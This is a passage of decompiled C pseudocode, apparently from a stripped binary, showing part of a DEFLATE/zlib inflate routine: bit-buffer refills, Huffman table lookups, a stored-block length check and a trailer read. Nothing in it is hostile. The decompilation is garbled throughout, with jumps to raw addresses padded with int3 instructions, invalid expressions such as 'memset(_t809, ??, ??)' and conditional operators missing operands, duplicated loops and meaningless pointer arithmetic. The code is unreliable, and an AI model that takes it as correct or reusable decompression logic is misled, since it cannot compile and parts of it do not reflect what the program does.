																	__eflags = _t877 - 3;
																	if(_t877 >= 3) {
																		goto L30;
																	} else {
																		goto L26;
																	}
																}
															}
															continue;
														} else {
															while(1) {
																L18:
																_t831 = _t877;
																_t877 = _t877 - 1;
																 *(_t1058 - 8) = _t877;
																if(_t831 == 0) {
																	goto L39;
																}
																L19:
																if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																	L238:
																	 *(_t1058 - 0xc) = 2;
																	 *_t1022 = 0x35;
																	goto L292;
																} else {
																	L20:
																	 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																	 *((intOrPtr*)(_t1058 - 0x48)) =  *((intOrPtr*)(_t1058 - 0x48)) + 1;
																	 *( *(_t1058 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1058 - 0x48)) -  *(_t1058 - 0x28) &  *(_t1058 - 0x34)) +  *((intOrPtr*)(_t1058 + 0xc))));
																	_t982 =  *(_t1058 - 4);
																	continue;
																}
																goto L295;
															}
															while(1) {
																L39:
																_t879 =  *(_t1058 - 0x20) - _t841;
																__eflags = _t879 - 4;
																if(_t879 < 4) {
																	goto L58;
																}
																goto L40;
															}
															goto L58;
														}
													} else {
														L270:
														_t684 = _t596 | 0xffffffff;
														 *_t1022 = 0x25;
														goto L291;
													}
												} else {
													L10:
													if(_t1043 >= _t871) {
														L13:
														_t1043 = _t1043 - _t871;
														_t839 = (_t596 << _t871) - 0x00000001 & _t982;
														_t982 = _t982 >> _t871;
														 *(_t1058 - 0x28) =  *(_t1058 - 0x28) + _t839;
														_t596 =  *(_t1058 - 0x28);
														 *(_t1058 - 4) = _t982;
														goto L15;
													} else {
														L11:
														while(_t841 <  *(_t1058 - 0x20)) {
															_t596 = ( *_t841 & 0x000000ff) << _t1043;
															_t841 = _t841 + 1;
															_t871 =  *(_t1058 - 0x38);
															_t982 = _t982 | _t596;
															_t1043 = _t1043 + 8;
															 *(_t1058 - 0x18) = _t841;
															 *(_t1058 - 4) = _t982;
															if(_t1043 < _t871) {
																continue;
															} else {
																goto L13;
															}
															goto L295;
														}
														 *_t1022 = 0x1b;
														goto L285;
													}
												}
											} else {
												L226:
												__eflags =  *(_t1058 - 0x20) - _t841 - 2;
												if( *(_t1058 - 0x20) - _t841 >= 2) {
													L237:
													_t983 =  *(_t841 + 1) & 0x000000ff;
													_t676 =  *_t841 & 0x000000ff;
													_t841 = _t841 + 2;
													_t1022 =  *(_t1058 - 0x14);
													_t868 = _t1043;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) =  *(_t1058 - 4) | _t983 << _t1043 + 0x00000008 | _t676 << _t868;
													_t1043 = _t1043 + 0x10;
													_t962 =  *(_t1058 - 4);
												} else {
													do {
														L227:
														_t596 =  *((short*)(_t1022 + 0xf00 + (_t962 & 0x000003ff) * 2));
														 *(_t1058 - 0x24) = _t596;
														__eflags = _t596;
														if(_t596 < 0) {
															L231:
															__eflags = _t1043 - 0xa;
															if(_t1043 <= 0xa) {
																goto L1;
															} else {
																L232:
																L233:
																 *(_t1058 - 0x1c) = _t868;
																while(1) {
																	L234:
																	_t868 =  *((short*)(_t1022 + 0x1700 + ((_t962 >> _t868 & 0x00000001) +  !( *(_t1058 - 0x24))) * 2));
																	_t652 =  *(_t1058 - 0x1c) + 1;
																	 *(_t1058 - 0x24) = _t868;
																	 *(_t1058 - 0x1c) = _t652;
																	__eflags = _t868;
																	if(_t868 >= 0) {
																		goto L3;
																	}
																	L235:
																	_t596 = _t652 + 1;
																	__eflags = _t1043 - _t596;
																	if(_t1043 < _t596) {
																		goto L1;
																	} else {
																		L236:
																		_t868 =  *(_t1058 - 0x1c);
																		continue;
																	}
																	goto L295;
																}
																goto L3;
															}
														} else {
															L228:
															_t596 = _t596 >> 9;
															__eflags = _t596;
															if(_t596 == 0) {
																L1:
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L264:
																	 *_t1022 = 0x1a;
																	goto L285;
																} else {
																	goto L2;
																}
															} else {
																L229:
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	goto L3;
																} else {
																	L230:
																	goto L1;
																}
															}
														}
														goto L295;
														L2:
														_t868 = _t1043;
														_t644 = ( *_t841 & 0x000000ff) << _t868;
														_t841 = _t841 + 1;
														_t962 = _t962 | _t644;
														 *(_t1058 - 0x18) = _t841;
														_t1043 = _t1043 + 8;
														 *(_t1058 - 4) = _t962;
													} while (_t1043 < 0xf);
												}
												goto L3;
											}
										} else {
											L220:
											__eflags = _t1043 - _t868;
											if(_t1043 >= _t868) {
												L223:
												L224:
												_t1043 = _t1043 - _t868;
												_t680 = (_t596 << _t868) - 0x00000001 & _t962;
												_t962 = _t962 >> _t868;
												_t456 = _t1058 - 8;
												 *_t456 =  *(_t1058 - 8) + _t680;
												__eflags =  *_t456;
												 *(_t1058 - 4) = _t962;
												goto L225;
											} else {
												while(1) {
													L221:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L222:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t868 =  *(_t1058 - 0x38);
													_t962 = _t962 | _t596;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 0x18) = _t841;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - _t868;
													if(_t1043 < _t868) {
														continue;
													} else {
														goto L223;
													}
													goto L295;
												}
												L262:
												 *_t1022 = 0x19;
												goto L285;
											}
										}
									} else {
										while(1) {
											L85:
											__eflags =  *(_t1022 + 0x14) & 0x00000001;
											if(( *(_t1022 + 0x14) & 0x00000001) != 0) {
												break;
											}
											L86:
											__eflags = _t1043 - 3;
											if(_t1043 >= 3) {
												L89:
												_t1043 = _t1043 - 3;
												_t693 = _t962 & 0x00000007;
												_t991 = _t962 >> 3;
												 *(_t1022 + 0x14) = _t693;
												_t596 = _t693 >> 1;
												__eflags = _t596;
												 *(_t1058 - 4) = _t991;
												 *(_t1058 - 0x1c) = _t1043;
												 *(_t1022 + 0x18) = _t596;
												if(_t596 != 0) {
													L124:
													__eflags = _t596 - 3;
													if(_t596 == 3) {
														L266:
														 *(_t1058 - 0xc) = 0xffffffff;
														 *_t1022 = 0xa;
														goto L292;
													} else {
														L125:
														__eflags = _t596 - 1;
														if(_t596 != 1) {
															L128:
															_t893 = 0;
															__eflags = 0;
															while(1) {
																L129:
																 *(_t1058 - 8) = _t893;
																__eflags = _t893 - 3;
																if(_t893 >= 3) {
																	break;
																}
																L130:
																_t596 =  *((char*)(_t893 + 0x50f004));
																 *(_t1058 - 0x1c) = _t596;
																__eflags = _t1043 - _t596;
																if(_t1043 >= _t596) {
																	L133:
																	_t1017 = _t1022 + _t893 * 4;
																	_t1036 =  *(_t1058 - 4);
																	 *(_t1017 + 0x2c) = (0x00000001 <<  *(_t1058 - 0x1c)) - 0x00000001 & _t1036;
																	_t804 =  *(_t1058 - 8);
																	_t931 =  *((char*)(_t804 + 0x50f004));
																	_t1037 = _t1036 >> _t931;
																	_t1043 = _t1043 - _t931;
																	_t932 = _t804;
																	 *(_t1058 - 4) = _t1037;
																	 *(_t1058 - 0x1c) = _t1043;
																	_t596 =  *(0x50fa38 + _t932 * 4);
																	 *(_t1017 + 0x2c) =  *(_t1017 + 0x2c) +  *(0x50fa38 + _t932 * 4);
																	_t991 = _t1037;
																	_t1022 =  *(_t1058 - 0x14);
																	_t893 = _t932 + 1;
																	continue;
																} else {
																	while(1) {
																		L131:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L132:
																		_t806 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t893 =  *(_t1058 - 8);
																		_t991 = _t991 | _t806;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 0x18) = _t841;
																		 *(_t1058 - 4) = _t991;
																		_t596 =  *((char*)(_t893 + 0x50f004));
																		 *(_t1058 - 0x1c) = _t596;
																		__eflags = _t1043 - _t596;
																		if(_t1043 < _t596) {
																			continue;
																		} else {
																			goto L133;
																		}
																		goto L295;
																	}
																	L248:
																	 *_t1022 = 0xb;
																	goto L285;
																}
																goto L295;
															}
															L134:
															goto L0;
														} else {
															L126:
															goto 0x5214d8;
															asm("int3");
															asm("int3");
															 *((intOrPtr*)(_t596 + 0x2c)) = 0x120;
															L127:
															_t808 = _t596 + 1 - 0x20;
															 *_t808 =  *_t808 + _t808;
															_t841 = _t841 + _t808;
															_t809 = _t808 + 1;
															 *_t809 =  *_t809 ^ _t809;
															 *_t809 = _t809 +  *_t809;
															 *0xde0 =  *0xde0 + _t809;
															memset(_t809, ??, ??);
															asm("movdqa xmm0, [0x50fae0]");
															_t1061 = _t1061 + 0xc;
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqu [edi+0x70], xmm0");
															asm("movdqu [edi+0x80], xmm0");
															asm("movdqu [edi+0x90], xmm0");
															asm("movdqu [edi+0xa0], xmm0");
															asm("movdqu [edi+0xb0], xmm0");
															asm("movdqu [edi+0xc0], xmm0");
															_t1038 = _t1022 + 0xd0;
															asm("movdqa xmm0, [0x50faf0]");
															asm("movdqu [edi], xmm0");
															asm("movdqu [edi+0x10], xmm0");
															asm("movdqu [edi+0x20], xmm0");
															asm("movdqu [edi+0x30], xmm0");
															asm("movdqu [edi+0x40], xmm0");
															asm("movdqu [edi+0x50], xmm0");
															asm("movdqu [edi+0x60], xmm0");
															asm("movdqa xmm0, [0x50fad0]");
															asm("movdqu [edi+0x70], xmm0");
															asm("movq [edi+0x80], xmm0");
															 *((intOrPtr*)(_t1038 + 0x88)) = 0x8080808;
															 *((intOrPtr*)(_t1038 + 0x8c)) = 0x8080808;
															_t1022 =  *(_t1058 - 0x14);
															goto L141;
														}
													}
												} else {
													L90:
													_t596 = _t1043 & 0x00000007;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														L93:
														_t935 = _t1043 & 0x00000007;
														_t962 = _t991 >> _t935;
														_t1043 = _t1043 - _t935;
														 *(_t1058 - 4) = _t962;
														_t936 = 0;
														__eflags = 0;
														while(1) {
															L94:
															 *(_t1058 - 8) = _t936;
															__eflags = _t936 - 4;
															if(_t936 >= 4) {
																break;
															}
															L95:
															__eflags = _t1043;
															if(_t1043 == 0) {
																L101:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	L244:
																	 *_t1022 = 7;
																	goto L285;
																} else {
																	L102:
																	_t596 =  *_t841;
																	_t841 = _t841 + 1;
																	(_t1022 + 0x2920)[_t936] = _t596;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 0x18) = _t841;
																	continue;
																}
															} else {
																L96:
																__eflags = _t1043 - 8;
																if(_t1043 >= 8) {
																	L100:
																	(_t1022 + 0x2920)[_t936] = _t962;
																	_t1043 = _t1043 - 8;
																	_t962 = _t962 >> 8;
																	_t936 = _t936 + 1;
																	 *(_t1058 - 4) = _t962;
																	continue;
																} else {
																	while(1) {
																		L97:
																		__eflags = _t841 -  *(_t1058 - 0x20);
																		if(_t841 >=  *(_t1058 - 0x20)) {
																			break;
																		}
																		L98:
																		_t596 = ( *_t841 & 0x000000ff) << _t1043;
																		_t841 = _t841 + 1;
																		_t962 = _t962 | _t596;
																		 *(_t1058 - 0x18) = _t841;
																		_t1043 = _t1043 + 8;
																		 *(_t1058 - 4) = _t962;
																		__eflags = _t1043 - 8;
																		if(_t1043 < 8) {
																			continue;
																		} else {
																			L99:
																			_t936 =  *(_t1058 - 8);
																			goto L100;
																		}
																		goto L295;
																	}
																	L243:
																	 *_t1022 = 6;
																	goto L285;
																}
															}
															goto L295;
														}
														L103:
														_t596 =  *(_t1022 + 0x2922) & 0x000000ff;
														 *(_t1058 - 8) = ( *(_t1022 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1022 + 0x2920) & 0x000000ff;
														__eflags =  *(_t1058 - 8) - ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff);
														if( *(_t1058 - 8) != ((( *(_t1022 + 0x2923) & 0x000000ff) << 0x00000008 | _t596) ^ 0x0000ffff)) {
															L265:
															 *(_t1058 - 0xc) = 0xffffffff;
															 *_t1022 = 0x27;
															goto L292;
														} else {
															L104:
															_t944 =  *(_t1058 - 8);
															while(1) {
																L105:
																__eflags = _t944;
																if(_t944 == 0) {
																	goto L85;
																}
																L106:
																__eflags = _t1043;
																if(_t1043 == 0) {
																	L113:
																	_t596 =  *(_t1058 - 0x10);
																	while(1) {
																		L114:
																		__eflags = _t944;
																		if(_t944 == 0) {
																			break;
																		}
																		L116:
																		_t1018 =  *((intOrPtr*)(_t1058 - 0x40));
																		__eflags = _t596 - _t1018;
																		if(_t596 < _t1018) {
																			L118:
																			_t596 =  *(_t1058 - 0x20);
																			__eflags = _t841 - _t596;
																			if(_t841 >= _t596) {
																				L247:
																				_t1022 =  *(_t1058 - 0x14);
																				 *_t1022 = 0x26;
																				goto L285;
																			} else {
																				L119:
																				_t962 = _t1018 -  *(_t1058 - 0x10);
																				_t1040 = _t596 - _t841;
																				__eflags = _t962 - _t1040;
																				_t814 =  <  ? _t962 : _t1040;
																				__eflags = ( <  ? _t962 : _t1040) - _t944;
																				if(( <  ? _t962 : _t1040) >= _t944) {
																					_t1022 = _t944;
																				} else {
																					__eflags = _t962 - _t1040;
																					_t1022 =  <  ? _t962 : _t1040;
																				}
																				L122:
																				L123:
																				memcpy();
																				_t841 = _t841 + _t1022;
																				_t596 =  *(_t1058 - 0x10) + _t1022;
																				_t1061 = _t1061 + 0xc;
																				 *(_t1058 - 0x18) = _t841;
																				_t944 =  *(_t1058 - 8) - _t1022;
																				 *(_t1058 - 0x10) = _t596;
																				 *(_t1058 - 8) = _t944;
																				continue;
																			}
																		} else {
																			L117:
																			_t1022 =  *(_t1058 - 0x14);
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 9;
																			goto L292;
																		}
																		goto L295;
																	}
																	L115:
																	goto 0x5214b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1043 - 8;
																	if(_t1043 >= 8) {
																		L110:
																		_t596 = _t962 & 0x000000ff;
																		_t962 = _t962 >> 8;
																		_t1043 = _t1043 - 8;
																		 *(_t1058 - 0x28) = _t596;
																		 *(_t1058 - 4) = _t962;
																		L111:
																		__eflags =  *(_t1058 - 0x10) -  *((intOrPtr*)(_t1058 - 0x40));
																		_t1022 =  *(_t1058 - 0x14);
																		if( *(_t1058 - 0x10) >=  *((intOrPtr*)(_t1058 - 0x40))) {
																			L246:
																			 *(_t1058 - 0xc) = 2;
																			 *_t1022 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1058 - 0x10) =  *(_t1058 - 0x10) + 1;
																			 *( *(_t1058 - 0x10)) = _t596;
																			_t944 =  *(_t1058 - 8) - 1;
																			 *(_t1058 - 8) = _t944;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t841 -  *(_t1058 - 0x20);
																			if(_t841 >=  *(_t1058 - 0x20)) {
																				break;
																			}
																			L109:
																			_t596 = ( *_t841 & 0x000000ff) << _t1043;
																			_t841 = _t841 + 1;
																			_t962 = _t962 | _t596;
																			 *(_t1058 - 0x18) = _t841;
																			_t1043 = _t1043 + 8;
																			 *(_t1058 - 4) = _t962;
																			__eflags = _t1043 - 8;
																			if(_t1043 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1022 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t841 -  *(_t1058 - 0x20);
															if(_t841 >=  *(_t1058 - 0x20)) {
																break;
															}
															L92:
															_t820 = ( *_t841 & 0x000000ff) << _t1043;
															_t1043 = _t1043 + 8;
															_t991 = _t991 | _t820;
															_t841 = _t841 + 1;
															 *(_t1058 - 0x18) = _t841;
															_t596 = _t1043 & 0x00000007;
															 *(_t1058 - 4) = _t991;
															__eflags = _t1043 - _t596;
															if(_t1043 < _t596) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1022 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t841 -  *(_t1058 - 0x20);
													if(_t841 >=  *(_t1058 - 0x20)) {
														break;
													}
													L88:
													_t596 = ( *_t841 & 0x000000ff) << _t1043;
													_t841 = _t841 + 1;
													_t962 = _t962 | _t596;
													 *(_t1058 - 0x18) = _t841;
													_t1043 = _t1043 + 8;
													 *(_t1058 - 4) = _t962;
													__eflags = _t1043 - 3;
													if(_t1043 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1022 = 3;
												goto L285;
											}
											goto L295;
										}
										L252:
										_t596 = _t1043 & 0x00000007;
										__eflags = _t1043 - _t596;
										if(_t1043 >= _t596) {
											L256:
											_t683 =  *(_t1058 - 0x3c);
											_t886 = _t1043 & 0x00000007;
											_t986 = _t962 >> _t886;
											_t1043 = _t1043 - _t886;
											 *(_t1058 - 4) = _t986;
											__eflags = _t841 - _t683;
											if(_t841 > _t683) {
												while(1) {
													L257:
													__eflags = _t1043 - 8;
													if(_t1043 < 8) {
														goto L259;
													}
													L258:
													_t841 = _t841 - 1;
													_t1043 = _t1043 - 8;
													__eflags = _t841 - _t683;
													if(_t841 > _t683) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t596 = _t1043;
											asm("bts edx, eax");
											__eflags = _t596 - 0x20;
											_t888 =  >=  ? _t986 : 0;
											_t987 = _t986 ^ _t888;
											__eflags = _t596 - 0x40;
											_t889 =  >=  ? _t987 : _t888;
											 *(_t1058 - 4) =  *(_t1058 - 4) & _t987 - 0x00000001;
											__eflags =  *(_t1058 + 0x18) & 0x00000001;
											if(( *(_t1058 + 0x18) & 0x00000001) == 0) {
												L290:
												_t684 = 0;
												__eflags = 0;
												 *_t1022 = 0x22;
												L291:
												 *(_t1058 - 0xc) = _t684;
												goto L292;
											} else {
												L261:
												_t890 = 0;
												while(1) {
													L277:
													 *(_t1058 - 8) = _t890;
													__eflags = _t890 - 4;
													if(_t890 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1043;
													if(_t1043 != 0) {
														L281:
														_t989 =  *(_t1058 - 4);
														__eflags = _t1043 - 8;
														if(_t1043 >= 8) {
															L275:
															_t685 = _t989 & 0x000000ff;
															_t1043 = _t1043 - 8;
															__eflags = _t1043;
															 *(_t1058 - 4) = _t989 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t841 -  *(_t1058 - 0x20);
																if(_t841 >=  *(_t1058 - 0x20)) {
																	break;
																}
																L273:
																_t596 = ( *_t841 & 0x000000ff) << _t1043;
																_t1043 = _t1043 + 8;
																_t989 = _t989 | _t596;
																_t841 = _t841 + 1;
																 *(_t1058 - 4) = _t989;
																__eflags = _t1043 - 8;
																if(_t1043 < 8) {
																	continue;
																} else {
																	L274:
																	_t890 =  *(_t1058 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1022 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t841 -  *(_t1058 - 0x20);
														if(_t841 >=  *(_t1058 - 0x20)) {
															L283:
															 *_t1022 = 0x2a;
															goto L285;
														} else {
															L280:
															_t685 =  *_t841 & 0x000000ff;
															_t841 = _t841 + 1;
															L276:
															 *(_t1058 - 0x24) = _t685;
															_t596 =  *(_t1022 + 0x10) << 0x00000008 |  *(_t1058 - 0x24);
															_t890 = _t890 + 1;
															__eflags = _t890;
															 *(_t1022 + 0x10) = _t596;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													break;
												}
												L255:
												_t690 = ( *_t841 & 0x000000ff) << _t1043;
												_t1043 = _t1043 + 8;
												_t962 = _t962 | _t690;
												_t841 = _t841 + 1;
												 *(_t1058 - 4) = _t962;
												_t596 = _t1043 & 0x00000007;
												__eflags = _t1043 - _t596;
												if(_t1043 < _t596) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1022 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1043 - 0xf;
									if(_t1043 < 0xf) {
										_t999 =  *(_t841 + 1) & 0x000000ff;
										_t880 = _t1043;
										_t721 =  *_t841 & 0x000000ff;
										_t841 = _t841 + 2;
										_t1022 =  *(_t1058 - 0x14);
										 *(_t1058 - 0x18) = _t841;
										 *(_t1058 - 4) =  *(_t1058 - 4) | (_t999 << 0x00000008 | _t721) << _t880;
										_t1043 = _t1043 + 0x10;
										__eflags = _t1043;
										_t962 =  *(_t1058 - 4);
									}
									_t714 =  *((short*)(_t1022 + 0x160 + (_t962 & 0x000003ff) * 2));
									 *(_t1058 - 0x1c) = _t714;
									__eflags = _t714;
									if(_t714 < 0) {
										L53:
										goto 0x521472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t716 = _t962 >> _t880;
											_t880 = _t880 + 1;
											_t841 =  *((short*)(_t1022 + 0x960 + ((_t716 & 0x00000001) +  !_t841) * 2));
											__eflags = _t841;
										} while (_t841 < 0);
										 *(_t1058 - 0x1c) = _t841;
										_t841 =  *(_t1058 - 0x18);
									} else {
										L52:
										_t880 = _t714 >> 9;
									}
									L56:
									_t596 =  *(_t1058 - 8);
									_t1043 = _t1043 - _t880;
									_t962 = _t962 >> _t880;
									 *(_t1058 - 4) = _t962;
									 *( *(_t1058 - 0x10)) = _t596;
									_t880 =  *(_t1058 - 0x1c);
									__eflags = _t880 & 0x00000100;
									if((_t880 & 0x00000100) != 0) {
										L83:
										_t170 = _t1058 - 0x10;
										 *_t170 =  *(_t1058 - 0x10) + 1;
										__eflags =  *_t170;
										goto L84;
									} else {
										L57:
										_t719 =  *(_t1058 - 0x10);
										 *(_t719 + 1) = _t880;
										 *(_t1058 - 0x10) = _t719 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t879 =  *(_t1058 - 0x20) - _t841;
													__eflags = _t879 - 4;
													if(_t879 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t877;
											} while (_t877 == 0);
											goto 0x52140c;
											asm("int3");
											_t824 =  *_t830;
											 *_t1022 = _t824;
											_t1022 =  *(_t1058 - 0x14);
											__eflags = _t877 - 1;
											if(_t877 > 1) {
												L29:
												L36:
												goto 0x521448;
												asm("int3");
												 *(_t982 + 1) =  *((intOrPtr*)(_t824 + 1));
												_t982 =  *(_t1058 - 4);
											}
											L38:
											_t85 = _t1058 - 0x10;
											 *_t85 = _t877 +  *(_t1058 - 0x10);
											__eflags =  *_t85;
											while(1) {
												L39:
												_t879 =  *(_t1058 - 0x20) - _t841;
												__eflags = _t879 - 4;
												if(_t879 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1058 - 0x10) = _t1022;
											_t1022 =  *(_t1058 - 0x14);
											 *(_t1058 - 0xc) = _t982;
											_t982 =  *(_t1058 - 4);
											 *(_t1058 - 8) = _t877;
											__eflags = _t877;
										} while (_t877 <= 0);
										goto 0x521434;
										asm("int3");
										_t824 =  *_t666;
										 *_t1022 = _t824;
										_t1022 =  *(_t1058 - 0x14);
										__eflags = _t877 - 1;
										if(_t877 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							goto L295;
							L58:
							__eflags = _t1043 - 0xf;
							if(_t1043 >= 0xf) {
								L75:
								_t669 =  *((short*)(_t1022 + 0x160 + (_t982 & 0x000003ff) * 2));
								 *(_t1058 - 8) = _t669;
								__eflags = _t669;
								if(_t669 < 0) {
									L77:
									goto 0x52149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t671 = _t982 >> _t879;
										_t879 = _t879 + 1;
										_t596 = (_t671 & 0x00000001) +  !_t841;
										_t841 =  *((short*)(_t1022 + 0x960 + _t596 * 2));
										__eflags = _t841;
									} while (_t841 < 0);
									 *(_t1058 - 8) = _t841;
									_t841 =  *(_t1058 - 0x18);
								} else {
									L76:
									_t879 = _t669 >> 9;
									_t596 = _t669 & 0x000001ff;
									 *(_t1058 - 8) = _t596;
								}
								L80:
								_t962 = _t982 >> _t879;
								_t1043 = _t1043 - _t879;
								_t880 =  *(_t1058 - 8);
								 *(_t1058 - 4) = _t962;
								__eflags = _t880 - 0x100;
								if(_t880 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t822 =  *(_t1058 - 0x10);
									__eflags = _t822 -  *((intOrPtr*)(_t1058 - 0x40));
									if(_t822 >=  *((intOrPtr*)(_t1058 - 0x40))) {
										L240:
										 *(_t1058 - 0xc) = 2;
										 *_t1022 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t822 = _t880;
										 *(_t1058 - 0x10) = _t822 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t879 - 2;
								if(_t879 >= 2) {
									L73:
									_t992 =  *(_t841 + 1) & 0x000000ff;
									_t695 =  *_t841 & 0x000000ff;
									_t841 = _t841 + 2;
									_t879 = _t1043;
									 *(_t1058 - 0x18) = _t841;
									 *(_t1058 - 4) =  *(_t1058 - 4) | _t992 << _t1043 + 0x00000008 | _t695 << _t879;
									_t1043 = _t1043 + 0x10;
									__eflags = _t1043;
									_t982 =  *(_t1058 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t596 = _t982 & 0x000003ff;
										_t1025 =  *((short*)(_t1022 + 0x160 + _t596 * 2));
										__eflags = _t1025;
										if(_t1025 < 0) {
											L64:
											__eflags = _t1043 - 0xa;
											if(_t1043 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1058 - 0x1c) = _t879;
												while(1) {
													L67:
													_t1025 =  *((short*)( *(_t1058 - 0x14) + 0x960 + ((_t982 >> _t879 & 0x00000001) +  !_t1025) * 2));
													_t879 =  *(_t1058 - 0x1c) + 1;
													 *(_t1058 - 0x1c) = _t879;
													__eflags = _t1025;
													if(_t1025 >= 0) {
														goto L74;
													}
													L68:
													_t596 = _t879 + 1;
													__eflags = _t1043 - _t596;
													if(_t1043 >= _t596) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1027 = _t1025 >> 9;
											__eflags = _t1027;
											if(_t1027 == 0) {
												L69:
												_t1022 =  *(_t1058 - 0x14);
												L70:
												__eflags = _t841 -  *(_t1058 - 0x20);
												if(_t841 >=  *(_t1058 - 0x20)) {
													L239:
													 *_t1022 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1043 - _t1027;
												if(_t1043 >= _t1027) {
													L74:
													_t1022 =  *(_t1058 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t879 = _t1043;
										_t699 = ( *_t841 & 0x000000ff) << _t879;
										_t841 = _t841 + 1;
										_t982 = _t982 | _t699;
										 *(_t1058 - 0x18) = _t841;
										_t1043 = _t1043 + 8;
										 *(_t1058 - 4) = _t982;
										__eflags = _t1043 - 0xf;
									} while (_t1043 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1058 - 0xc) = 0x40 + _t694 * 0xda0 + _t1022;
					memset(_t1058 - 0xd0, 0, 0x40);
					memset( *(_t1058 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1058 - 0xc) + 0x920, 0, 0x480);
					_t894 = 0;
					_t1061 = _t1061 + 0x24;
					_t1005 = _t1022 + ( *(_t1022 + 0x18) + 0xb) * 4;
					 *(_t1058 - 0x44) = _t1005;
					__eflags =  *_t1005;
					if( *_t1005 > 0) {
						L143:
						_t1022 =  *(_t1058 - 0xc);
						do {
							L144:
							_t797 =  *(_t894 + _t1022) & 0x000000ff;
							_t894 = _t894 + 1;
							 *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) =  *((intOrPtr*)(_t1058 + _t797 * 4 - 0xd0)) + 1;
							__eflags = _t894 -  *_t1005;
						} while (_t894 <  *_t1005);
					}
					L145:
					goto 0x521500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1058 - 0x8c) = _t894;
					 *(_t1058 - 0x90) = _t894;
					 *(_t1058 - 0x2c) = _t894;
					 *(_t1058 - 0x30) = _t894;
					do {
						L147:
						_t734 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd4));
						_t896 = _t894 + _t734 + _t894 + _t734;
						_t1022 = _t1022 + _t734;
						_t735 =  *((intOrPtr*)(_t1058 + _t1005 - 0xd0));
						 *(_t1058 - 0x30) =  *(_t1058 - 0x30) + _t735;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x90)) = _t896;
						_t736 =  *((intOrPtr*)(_t1058 + _t1005 - 0xcc));
						_t898 = _t896 + _t735 + _t896 + _t735;
						 *(_t1058 - 0x2c) =  *(_t1058 - 0x2c) + _t736;
						 *((intOrPtr*)(_t1058 + _t1005 - 0x8c)) = _t898;
						_t894 = _t898 + _t736 + _t898 + _t736;
						 *(_t1058 + _t1005 - 0x88) = _t894;
						_t1005 = _t1005 + 0xc;
						__eflags = _t1005 - 0x40;
					} while (_t1005 <= 0x40);
					 *(_t1058 - 0x4c) = _t894;
					 *(_t1058 - 0x24) = _t1022;
					_t1022 =  *(_t1058 - 0x14);
					_t901 =  *(_t1058 - 0x24) +  *(_t1058 - 0x2c) +  *(_t1058 - 0x30);
